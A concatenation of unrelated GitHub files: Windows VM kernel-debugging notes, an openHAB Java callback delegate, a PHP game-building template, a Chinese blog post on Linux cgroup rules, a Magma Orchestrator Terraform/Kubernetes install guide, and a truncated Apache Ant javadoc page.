3. Once the debugger is attached and running, stop and cold start the VM to activate the COM ports in the VM. The emulated UARTS aren’t available for debugging unless at least one is actually configured with a pipe name and they cannot be hot-added.
4. Re-enable secure boot, once you are done updating the configuration changes.
For more information about Generation 2 VMs, see [Generation 2 Virtual Machine Overview](/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn282285(v=ws.11)).
## <span id="Remarks"></span><span id="remarks"></span><span id="REMARKS"></span>Remarks
If the target computer has stopped responding, the target computer is still stopped because of an earlier kernel debugging action, or you used the **-b** [command-line option](command-line-options.md), the debugger breaks into the target computer immediately.
Otherwise, the target computer continues running until the debugger orders it to break.
## <span id="Firewalls"></span>Troubleshooting Firewalls and Network Access Issues
Your debugger (WinDbg or KD) must have access through the firewall. This can even be the case for virtual serial ports that are supported by network adapters.
If you are prompted by Windows to turn off the firewall when the debugger is loaded, select all three boxes.
Depending on the specifics of the VM in use, you may need to change the network settings for your virtual machines to bridge them to the Microsoft Kernel Network Debug Adapter. Otherwise, the virtual machines will not have access to the network.
**Windows Firewall**
You can use Control Panel to allow access through the Windows firewall. Open Control Panel > System and Security, and select Allow an app through Windows Firewall. In the list of applications, locate *Windows GUI Symbolic Debugger* and *Windows Kernel Debugger*. Use the check boxes to allow those two applications through the firewall. Restart your debugging application (WinDbg or KD).
## <span id="Third_Party_VMs"></span>Third Party VMs
**VMWare**
If you restart the virtual machine by using the VMWare facilities (for example, the reset button), exit WinDbg, and then restart WinDbg to continue debugging. During virtual machine debugging, VMWare often consumes 100% of the CPU.
## <span id="related_topics"></span>Related topics
[Setting Up Network Debugging of a Virtual Machine with KDNET](setting-up-network-debugging-of-a-virtual-machine-host.md)
[Setting Up Kernel-Mode Debugging Manually](setting-up-kernel-mode-debugging-in-windbg--cdb--or-ntsd.md)
[Setting Up Network Debugging of a Virtual Machine Host](setting-up-network-debugging-of-a-virtual-machine-host.md)
| {
"pile_set_name": "Github"
} |
/**
* Copyright (c) 2010-2020 Contributors to the openHAB project
*
* See the NOTICE file(s) distributed with this work for additional
* information.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License 2.0 which is available at
* http://www.eclipse.org/legal/epl-2.0
*
* SPDX-License-Identifier: EPL-2.0
*/
package org.openhab.core.automation.module.script.rulesupport.internal.delegates;
import java.util.Map;
import org.openhab.core.automation.RuleStatus;
import org.openhab.core.automation.RuleStatusInfo;
import org.openhab.core.automation.Trigger;
import org.openhab.core.automation.handler.TriggerHandlerCallback;
import org.openhab.core.automation.module.script.rulesupport.shared.simple.SimpleTriggerHandlerCallback;
/**
* The {@link SimpleTriggerHandlerCallbackDelegate} allows a script to define callbacks for triggers in different ways.
*
* @author Simon Merschjohann - Initial contribution
*/
public class SimpleTriggerHandlerCallbackDelegate implements SimpleTriggerHandlerCallback {
private final Trigger trigger;
private final TriggerHandlerCallback callback;
public SimpleTriggerHandlerCallbackDelegate(Trigger trigger, TriggerHandlerCallback callback) {
this.trigger = trigger;
this.callback = callback;
}
@Override
public void triggered(Trigger trigger, Map<String, ?> context) {
callback.triggered(trigger, context);
}
@Override
public void triggered(Map<String, ?> context) {
callback.triggered(this.trigger, context);
}
@Override
public Boolean isEnabled(String ruleUID) {
return callback.isEnabled(ruleUID);
}
@Override
public void setEnabled(String uid, boolean isEnabled) {
callback.setEnabled(uid, isEnabled);
}
@Override
public RuleStatusInfo getStatusInfo(String ruleUID) {
return callback.getStatusInfo(ruleUID);
}
@Override
public RuleStatus getStatus(String ruleUID) {
return callback.getStatus(ruleUID);
}
@Override
public void runNow(String uid) {
callback.runNow(uid);
}
@Override
public void runNow(String uid, boolean considerConditions, Map<String, Object> context) {
callback.runNow(uid, considerConditions, context);
}
}
| {
"pile_set_name": "Github"
} |
<h2>Tournament Square</h2>
<table class="new_building" cellpadding="1" cellspacing="1">
<tbody><tr>
<td class="desc">At the tournament square your troops can train to increase their stamina. The further the building is upgraded the faster your troops are beyond a minimum distance of 30 squares.</td>
<td rowspan="3" class="bimg">
<a href="#" onClick="return Popup(14,4);">
<img class="building g14" src="img/x.gif" alt="Tournament Square" title="Tournament Square" /></a>
</td>
</tr>
<tr>
<?php
$_GET['bid'] = 14;
include("availupgrade.tpl");
?>
</tr></tbody>
</table> | {
"pile_set_name": "Github"
} |
## cgroup 术语和规则
### 作者
digoal
### 日期
2016-02-15
### 标签
PostgreSQL , Linux , cgroup
----
## 背景
cgroup是Linux下用于隔离或管理资源使用的手段。
Redhat有比较详细的介绍。
https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Resource_Management_Guide/sec-Relationships_Between_Subsystems_Hierarchies_Control_Groups_and_Tasks.html
首先需要了解几个术语,可以帮助理解cgroup的原理。
1\. Subsystems: 即资源分类,例如cpu , memory, cpu, cpuset, blkio等。安装了cgconfig服务的话可以通过配置文件/etc/cgconfig.conf查看详情。
```
#
# Copyright IBM Corporation. 2007
#
# Authors: Balbir Singh <[email protected]>
# This program is free software; you can redistribute it and/or modify it
# under the terms of version 2.1 of the GNU Lesser General Public License
# as published by the Free Software Foundation.
#
# This program is distributed in the hope that it would be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
#
# See man cgconfig.conf for further details.
#
# By default, mount all controllers to /cgroup/<controller>
mount {
cpuset = /cgroup/cpuset;
cpu = /cgroup/cpu;
cpuacct = /cgroup/cpuacct;
memory = /cgroup/memory;
devices = /cgroup/devices;
freezer = /cgroup/freezer;
net_cls = /cgroup/net_cls;
blkio = /cgroup/blkio;
}
```
2\. Hierarchies: 即资源管理的逻辑最高层级。hierachies通过mount来挂载,系统中可以挂载多个hierachies. 所有的进程pid最初都隶属于这个层级。
3\. Control Groups: 属于hierachie中的下级, cgroup中还可以继续创建cgroup, 这种cgroup下的cgroup并不代表层级关系,只是路径而已。cgroup在同一个hierachie中,是平级的,(不管这个cgroup放在哪个路径下, 例如/cgroup/cpu/cg1, /cgroup/cpu/cg2, /cgroup/cpu/cg1/cg3, cg1,cg2,cg3它们是平级的。)。
4\. Tasks: 即进程pid.
规则讲解
使用cgroup进行资源管理时,必须遵循的规则如下:
规则1
单个hierarchy可以包含多个subsystem, 例如
```
mkdir /cgroup/cpu_mem_cg
mount -t cgroup -o cpu,memory cpu_mem_cg /cgroup/cpu_mem_cg
mkdir /cgroup/cpu_mem_cg/cg1
mkdir /cgroup/cpu_mem_cg/cg2
```

规则2
一个subsystem只能属于一个hierarchy,(有一种情况一个subsystem可以属于多个hierarchy,这些hierarchy的sub system必须完全一样)
例如
```
mkdir /cgroup/cpu_cg
mkdir /cgroup/cpu_mem_cg
mount -t cgroup -o cpu cpu_cg /cgroup/cpu_cg
mount -t cgroup -o memory cpu_mem_cg /cgroup/cpu_mem_cg
```
再执行以下命令将报错, 因为cpu_mem_cg这个hierarchy已经包含了一个subsystem memory,所以CPU subsystem不能同时挂载在这两个hierarchy下。
```
mount -t cgroup -o cpu cpu_mem_cg /cgroup/cpu_mem_cg
```
有一种情况是允许一个subsystem挂载多个hierarchy下的,当这些hierarchy的subsystem完全一致时。例如
```
#mkdir /cgroup/cg1
#mkdir /cgroup/cg2
#mount -t cgroup -o cpu,memory cg1 /cgroup/cg1
#mount -t cgroup -o cpu,memory cg2 /cgroup/cg2
```
这样做并没有什么意义,因为同一个PID会同时出现在这两个hierarchy中。并且在这两个hierarchy中的任意一个中创建cgroup时,另一个hierarchy中也会自动创建对应的cgroup,还有当task从hierarchy调整到cgroup中时,另一个hierarchy中对应的PID也会自动调整到对应的cgroup中,这两个hierarchy是完全一致的。

规则3
一个进程在同一个hierarchy中,不能属于这个hierarchy的多个cgroup中。
但是可以属于多个hierarchy中。

规则4
进程fork的子进程,会自动放到父进程对应cgroup中。

最后思考一个问题。
能同时控制一组进程的单个进程的IOPS和一组进程的总IOPS么?
例如
```
pid a
iops <=3000
pid b
iops <=3000
pid c
iops <=3000
pid d
iops <=3000
```
同时需要限制
```
pid a+b+c+d
iops <= 8000
```
目前cgroup版本并不能满足这个需求。
又例如一组PID有10个PID,每个PID限制IOPS=100,但是要求10个进程同时使用的IOPS不能超过500.
这个目前无法满足,因为cgroup在一个hierarchy中是平级的。
以下方法不行:
(同一个hierarchy中的不同cgroup,它们属于同一层级)
```
/cgroup/blkio/blkio.throttle.write_iops_device
"8:16 5000"
/cgroup/blkio/tasks
pid 非a,b
/cgroup/blkio/cg1/blkio.throttle.write_iops_device
"8:16 3000"
/cgroup/blkio/cg1/tasks
pid a
/cgroup/blkio/cg2/blkio.throttle.write_iops_device
"8:16 3000"
/cgroup/blkio/cg2/tasks
pid b
```
以下方法也不行:
(使用不同的hierarchy,但是同一个subsystem只能属于一个hierarchy,或者完全一致的hierarchy。)
```
/cgroup/blkio1/blkio.throttle.write_iops_device
"8:16 3000"
/cgroup/blkio1/tasks
pid a
/cgroup/blkio2/blkio.throttle.write_iops_device
"8:16 3000"
/cgroup/blkio1/tasks
pid b
/cgroup/blkio_all/blkio.throttle.write_iops_device
"8:16 5000"
/cgroup/blkio1/tasks
pid a,b
```
#### [PostgreSQL 许愿链接](https://github.com/digoal/blog/issues/76 "269ac3d1c492e938c0191101c7238216")
您的愿望将传达给PG kernel hacker、数据库厂商等, 帮助提高数据库产品质量和功能, 说不定下一个PG版本就有您提出的功能点. 针对非常好的提议,奖励限量版PG文化衫、纪念品、贴纸、PG热门书籍等,奖品丰富,快来许愿。[开不开森](https://github.com/digoal/blog/issues/76 "269ac3d1c492e938c0191101c7238216").
#### [9.9元购买3个月阿里云RDS PostgreSQL实例](https://www.aliyun.com/database/postgresqlactivity "57258f76c37864c6e6d23383d05714ea")
#### [PostgreSQL 解决方案集合](https://yq.aliyun.com/topic/118 "40cff096e9ed7122c512b35d8561d9c8")
#### [德哥 / digoal's github - 公益是一辈子的事.](https://github.com/digoal/blog/blob/master/README.md "22709685feb7cab07d30f30387f0a9ae")

| {
"pile_set_name": "Github"
} |
#name : Unordered List
#contributor: Peng Deng <[email protected]>
# --
+ ${1:Text}
+$0
| {
"pile_set_name": "Github"
} |
---
id: deploy_install
title: Install Orchestrator
hide_title: true
---
# Install Orchestrator
This page walks through a full, vanilla Orchestrator install.
If you want to install a specific release version, see the notes in the
[deployment intro](./deploy_intro.md).
## Prerequisites
This walkthrough assumes you already have the following
- a registered domain name
- a blank AWS account
- an AWS credential with admin permissions
If your AWS account is not blank, this can cause errors while Terraforming.
If you know what you're doing, this is fine - otherwise, consider signing up
for a new account.
## Assemble Certificates
Before Terraforming specific resources, we'll assemble the relevant
certificates.
First, create a local directory to hold the certificates you will use for
your Orchestrator deployment. These certificates will be uploaded to AWS
Secrets Manager and you can delete them locally afterwards.
```bash
mkdir -p ~/secrets/certs
cd ~/secrets/certs
```
You will need the following certificates and private keys placed in this
directory
1. The public SSL certificate for your Orchestrator domain,
with `CN=*.yourdomain.com`. This can be an SSL certificate chain, but it must be
in one file
2. The private key which corresponds to the above SSL certificate
3. The root CA certificate which verifies your SSL certificate
If you aren't worried about a browser warning, you can generate self-signed
versions of these certs
```bash
MAGMA_ROOT/orc8r/cloud/deploy/scripts/self_sign_certs.sh yourdomain.com
```
Alternatively, if you already have these certs, rename and move them as follows
1. Rename your public SSL certificate to `controller.crt`
2. Rename your SSL certificate's private key to `controller.key`
3. Rename your SSL certificate's root CA certificate to `rootCA.pem`
4. Put these three files under the directory you created above
Next, with the domain certs placed in the correct directory, generate the
application certs
```bash
MAGMA_ROOT/orc8r/cloud/deploy/scripts/create_application_certs.sh yourdomain.com
```
NOTE: `yourdomain.com` above should match the relevant Terraform variables in
subsequent sections. For example, if in `main.tf` the `orc8r_domain_name` is
`orc8r.yourdomain.com`, then that same domain should be used when requesting
or generating all the above certs.
Finally, create the `admin_operator.pfx` file, protected with a password of
your choosing
```bash
$ openssl pkcs12 -export -inkey admin_operator.key.pem -in admin_operator.pem -out admin_operator.pfx
Enter Export Password:
Verifying - Enter Export Password:
```
`admin_operator.pem` and `admin_operator.key.pem` are the files that NMS will
use to authenticate itself with the Orchestrator API. `admin_operator.pfx` is
for you to add to your keychain if you'd like to use the Orchestrator REST API
directly (on macOS, double-click the `admin_operator.pfx` file and add it to
your keychain, inputting the same password chosen above).
The certs directory should now look like this
```bash
$ ls -1 ~/secrets/certs/
admin_operator.key.pem
admin_operator.pem
admin_operator.pfx
bootstrapper.key
certifier.key
certifier.pem
controller.crt
controller.key
fluentd.key
fluentd.pem
rootCA.pem
```
## Install Orchestrator
With the relevant certificates assembled, we can move on to Terraforming
the infrastructure and application.
### Initialize Terraform
Create a new root Terraform module in a location of your choice by creating a
new `main.tf` file. Follow the example Terraform root module at
`orc8r/cloud/deploy/terraform/orc8r-helm-aws/examples/basic` but make sure to
override the following parameters
- `nms_db_password` must be at least 8 characters
- `orc8r_db_password` must be at least 8 characters
- `orc8r_domain_name` your registered domain name
- `docker_registry` registry containing desired Orchestrator containers
- `docker_user`
- `docker_pass`
- `helm_repo` repo containing desired Helm charts
- `helm_user`
- `helm_pass`
- `seed_certs_dir`: local certs directory (e.g. `"~/secrets/certs"`)
- `orc8r_tag`: tag used when you published your Orchestrator containers
If you don't know what values to put for the `docker_*` and `helm_*` variables,
go through the [building Orchestrator](./deploy_build.md) section first.
Make sure that the `source` variables for the module definitions point to
`github.com/magma/magma//orc8r/cloud/deploy/terraform/<module>`.
Adjust any other parameters as you see fit - check the READMEs for the
relevant Terraform modules to see additional variables that can be set.
Finally, initialize Terraform
```bash
$ terraform init
Initializing modules...
Initializing the backend...
Initializing provider plugins...
Terraform has been successfully initialized!
```
### Terraform Infrastructure
The two Terraform modules are organized so that `orc8r-aws` contains all the
resource definitions for the cloud infrastructure that you'll need to run
Orchestrator and `orc8r-helm-aws` contains all of the application components
behind Orchestrator. On the very first installation, you'll have to
`terraform apply` the infrastructure before the application. On later changes
to your Terraform root module, you can make all changes at once with a single
`terraform apply`.
With your root module set up, run
```bash
$ terraform apply -target=module.orc8r
# NOTE: actual resource count will depend on your root module variables
Apply complete! Resources: 70 added, 0 changed, 0 destroyed.
```
This `terraform apply` will create a
[kubeconfig](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/)
file in the same directory as your root Terraform module. To access the
K8s cluster, either set your KUBECONFIG environment variable to point to this
file or pull this file into your default kubeconfig file at `~/.kube/config`.
For example, with the [`realpath`](https://linux.die.net/man/1/realpath) utility
installed, you can set the kubeconfig with
```bash
export KUBECONFIG=$(realpath kubeconfig_orc8r)
```
### Terraform Secrets
From your same root Terraform module, seed the certificates and secrets we
generated earlier by running
```bash
$ terraform apply -target=module.orc8r-app.null_resource.orc8r_seed_secrets
Apply complete! Resources: 1 added, 0 changed, 0 destroyed.
```
The secrets should now be successfully uploaded to AWS Secrets Manager.
NOTE: if this isn't your first time applying the `orc8r_seed_secrets` resource,
you'll need to first
`terraform taint module.orc8r-app.null_resource.orc8r_seed_secrets`.
### Terraform Application
With the underlying infrastructure and secrets in place, we can now install the
Orchestrator application.
From your same root Terraform module, install the Orchestrator application
by running
```bash
$ terraform apply
Apply complete! Resources: 16 added, 0 changed, 0 destroyed.
```
### Create an Orchestrator Admin User
The NMS requires some basic certificate-based authentication when making
calls to the Orchestrator API. To support this, we need to add the relevant
certificate as an admin user to the controller.
NOTE: in the below `kubectl` commands, use the `-n` flag, or
[`kubens`](https://github.com/ahmetb/kubectx), to select the appropriate K8s
namespace (by default this is `orc8r`). Also, assumes kubeconfig is set
correctly from above.
Create the Orchestrator admin user with the `admin_operator` certificate
created earlier
```bash
export CNTLR_POD=$(kubectl get pod -l app.kubernetes.io/component=controller -o jsonpath='{.items[0].metadata.name}')
kubectl exec ${CNTLR_POD} -- envdir /var/opt/magma/envdir /var/opt/magma/bin/accessc add-existing -admin -cert /var/opt/magma/certs/admin_operator.pem admin_operator
```
If you want to verify the admin user was successfully created, inspect the
output from
```bash
$ kubectl exec ${CNTLR_POD} -- envdir /var/opt/magma/envdir /var/opt/magma/bin/accessc list-certs
# NOTE: actual values will differ
Serial Number: 83550F07322CEDCD; Identity: Id_Operator_admin_operator; Not Before: 2020-06-26 22:39:55 +0000 UTC; Not After: 2030-06-24 22:39:55 +0000 UTC
```
At this point, you can `rm -rf ~/secrets` to remove the certificates from your
local disk (we recommend this for security). If you ever need to update your
certificates, you can create this local directory again and `terraform taint`
the `null_resource` to re-upload local certificates to Secrets Manager. You'll
also need to add a new admin user with the updated `admin_operator` cert.
### Create an NMS Admin User
Create an admin user for the `master` organization on the NMS
```bash
export NMS_POD=$(kubectl get pod -l app.kubernetes.io/component=magmalte -o jsonpath='{.items[0].metadata.name}')
kubectl exec -it ${NMS_POD} -- yarn setAdminPassword master ADMIN_USER_EMAIL ADMIN_USER_PASSWORD
```
## DNS Resolution
EKS has been set up with
[ExternalDNS](https://github.com/kubernetes-sigs/external-dns), so AWS Route53
will already have the appropriate CNAME records for the relevant subdomains of
Orchestrator at this point. You will need to configure your DNS records on
your managed domain name to use the Route53 nameservers in order to resolve
these subdomains.
The example Terraform root module has an output `nameservers` which will list
the Route53 nameservers for the hosted zone for Orchestrator. Access these
via `terraform output` (you have probably already noticed identical output
from every `terraform apply`). Output should be of the form
```
Outputs:
nameservers = [
"ns-xxxx.awsdns-yy.org",
"ns-xxxx.awsdns-yy.co.uk",
"ns-xxxx.awsdns-yy.com",
"ns-xxxx.awsdns-yy.net",
]
```
If you chose a subdomain prefix for your Orchestrator domain name in your
root Terraform module, you only need to provide a single NS record to your
domain registrar, mapping the subdomain to the above name servers.
For example, for the subdomain `orc8r`, this record would notionally take
the form `{ orc8r -> [ns-xxxx.awsdns-yy.org, ...] }`.
If you didn't choose a subdomain prefix, then you can still point the whole
domain to AWS via the single NS record. Alternatively, if this is undesirable,
provide NS records for each of the following subdomains
1. nms
2. controller
3. bootstrapper-controller
4. api
For example, for the domain `mydomain`, these records would notionally take
the form
`{ nms -> [ns-xxxx.awsdns-yy.org, ...], controller -> [ns-xxxx.awsdns-yy.org, ...], ... }`.
## Verify the Deployment
After a few minutes the NS records should propagate. Confirm successful
deployment by visiting the master NMS organization at e.g.
`https://master.nms.yoursubdomain.yourdomain.com` and logging in with the
`ADMIN_USER_EMAIL` and `ADMIN_USER_PASSWORD` provided above.
NOTE: the `https://` is required. If you self-signed certs above, the browser
will rightfully complain. Either ignore the browser warnings at your own risk
(some versions of Chrome won't allow this at all), or e.g.
[import the root CA from above on a per-browser basis
](https://stackoverflow.com/questions/7580508/getting-chrome-to-accept-self-signed-localhost-certificate).
For interacting with the Orchestrator REST API, a good starting point is the
Swagger UI available at `https://api.yoursubdomain.yourdomain.com/apidocs/v1/`.
If desired, you can also visit the AWS endpoints directly. The relevant
services are `nginx-proxy` for NMS and `orc8r-proxy` for Orchestrator API.
Remember to include `https://`, as well as the port number for non-standard
TLS ports.
```bash
$ kubectl get services
# NOTE: values will differ, e.g. the EXTERNAL-IP column
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
magmalte ClusterIP 172.20.180.24 <none> 8081/TCP 3h13m
nginx-proxy LoadBalancer 172.20.158.22 www.us-west-2.elb.amazonaws.com 443:30086/TCP 3h13m
orc8r-alertmanager ClusterIP 172.20.65.247 <none> 9093/TCP 3h13m
orc8r-alertmanager-configurer ClusterIP 172.20.56.14 <none> 9101/TCP 3h13m
orc8r-bootstrap-nginx LoadBalancer 172.20.121.250 xxx.us-west-2.elb.amazonaws.com 80:31106/TCP,443:32187/TCP,8444:32707/TCP 3h13m
orc8r-clientcert-nginx LoadBalancer 172.20.126.56 yyy.us-west-2.elb.amazonaws.com 80:32077/TCP,443:30520/TCP,8443:30665/TCP 3h13m
orc8r-controller ClusterIP 172.20.29.196 <none> ... 3h13m
orc8r-nginx-proxy LoadBalancer 172.20.184.203 zzz.us-west-2.elb.amazonaws.com 80:30619/TCP,8443:32592/TCP,8444:31336/TCP,443:32148/TCP 3h13m
orc8r-prometheus ClusterIP 172.20.140.123 <none> 9090/TCP 3h13m
orc8r-prometheus-cache ClusterIP 172.20.136.37 <none> 9091/TCP 3h13m
orc8r-prometheus-configurer ClusterIP 172.20.39.188 <none> 9100/TCP 3h13m
orc8r-user-grafana ClusterIP 172.20.231.56 <none> 3000/TCP 3h13m
```
## Upgrade the Deployment
You can upgrade the deployment by changing one or both of the following
variables in your root Terraform module, before running `terraform apply`
- `orc8r_tag` container image version
- `orc8r_chart_version` Helm chart version
Changes to the Terraform modules between releases may require some updates to
your root Terraform module - these will be communicated in release notes.
| {
"pile_set_name": "Github"
} |
---
title: "gnome-themes-standard"
layout: formula
---
{{ content }}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_79) on Mon Jun 29 06:45:47 CEST 2015 -->
<title>Java13CommandLauncher (Apache Ant API)</title>
<meta name="date" content="2015-06-29">
<link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Java13CommandLauncher (Apache Ant API)";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncherProxy.html" title="class in org.apache.tools.ant.taskdefs.launcher"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/MacCommandLauncher.html" title="class in org.apache.tools.ant.taskdefs.launcher"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../../index.html?org/apache/tools/ant/taskdefs/launcher/Java13CommandLauncher.html" target="_top">Frames</a></li>
<li><a href="Java13CommandLauncher.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li><a href="#fields_inherited_from_class_org.apache.tools.ant.taskdefs.launcher.CommandLauncher">Field</a> | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">org.apache.tools.ant.taskdefs.launcher</div>
<h2 title="Class Java13CommandLauncher" class="title">Class Java13CommandLauncher</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li>java.lang.Object</li>
<li>
<ul class="inheritance">
<li><a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncher.html" title="class in org.apache.tools.ant.taskdefs.launcher">org.apache.tools.ant.taskdefs.launcher.CommandLauncher</a></li>
<li>
<ul class="inheritance">
<li>org.apache.tools.ant.taskdefs.launcher.Java13CommandLauncher</li>
</ul>
</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>Direct Known Subclasses:</dt>
<dd><a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/VmsCommandLauncher.html" title="class in org.apache.tools.ant.taskdefs.launcher">VmsCommandLauncher</a></dd>
</dl>
<hr>
<br>
<pre>public class <span class="strong">Java13CommandLauncher</span>
extends <a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncher.html" title="class in org.apache.tools.ant.taskdefs.launcher">CommandLauncher</a></pre>
<div class="block">A command launcher for JDK/JRE 1.3 (and higher). Uses the built-in
Runtime.exec() command.</div>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- =========== FIELD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="field_summary">
<!-- -->
</a>
<h3>Field Summary</h3>
<ul class="blockList">
<li class="blockList"><a name="fields_inherited_from_class_org.apache.tools.ant.taskdefs.launcher.CommandLauncher">
<!-- -->
</a>
<h3>Fields inherited from class org.apache.tools.ant.taskdefs.launcher.<a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncher.html" title="class in org.apache.tools.ant.taskdefs.launcher">CommandLauncher</a></h3>
<code><a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncher.html#FILE_UTILS">FILE_UTILS</a></code></li>
</ul>
</li>
</ul>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_summary">
<!-- -->
</a>
<h3>Constructor Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation">
<caption><span>Constructors</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colOne" scope="col">Constructor and Description</th>
</tr>
<tr class="altColor">
<td class="colOne"><code><strong><a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/Java13CommandLauncher.html#Java13CommandLauncher()">Java13CommandLauncher</a></strong>()</code> </td>
</tr>
</table>
</li>
</ul>
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method_summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span>Methods</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>java.lang.Process</code></td>
<td class="colLast"><code><strong><a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/Java13CommandLauncher.html#exec(org.apache.tools.ant.Project,%20java.lang.String[],%20java.lang.String[],%20java.io.File)">exec</a></strong>(<a href="../../../../../../org/apache/tools/ant/Project.html" title="class in org.apache.tools.ant">Project</a> project,
java.lang.String[] cmd,
java.lang.String[] env,
java.io.File workingDir)</code>
<div class="block">Launches the given command in a new process, in the given
working directory.</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_org.apache.tools.ant.taskdefs.launcher.CommandLauncher">
<!-- -->
</a>
<h3>Methods inherited from class org.apache.tools.ant.taskdefs.launcher.<a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncher.html" title="class in org.apache.tools.ant.taskdefs.launcher">CommandLauncher</a></h3>
<code><a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncher.html#exec(org.apache.tools.ant.Project,%20java.lang.String[],%20java.lang.String[])">exec</a>, <a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncher.html#getShellLauncher(org.apache.tools.ant.Project)">getShellLauncher</a>, <a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncher.html#getVMLauncher(org.apache.tools.ant.Project)">getVMLauncher</a>, <a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncher.html#setShellLauncher(org.apache.tools.ant.Project,%20org.apache.tools.ant.taskdefs.launcher.CommandLauncher)">setShellLauncher</a>, <a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncher.html#setVMLauncher(org.apache.tools.ant.Project,%20org.apache.tools.ant.taskdefs.launcher.CommandLauncher)">setVMLauncher</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Object</h3>
<code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_detail">
<!-- -->
</a>
<h3>Constructor Detail</h3>
<a name="Java13CommandLauncher()">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>Java13CommandLauncher</h4>
<pre>public Java13CommandLauncher()</pre>
</li>
</ul>
</li>
</ul>
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method_detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="exec(org.apache.tools.ant.Project, java.lang.String[], java.lang.String[], java.io.File)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>exec</h4>
<pre>public java.lang.Process exec(<a href="../../../../../../org/apache/tools/ant/Project.html" title="class in org.apache.tools.ant">Project</a> project,
java.lang.String[] cmd,
java.lang.String[] env,
java.io.File workingDir)
throws java.io.IOException</pre>
<div class="block">Launches the given command in a new process, in the given
working directory.</div>
<dl>
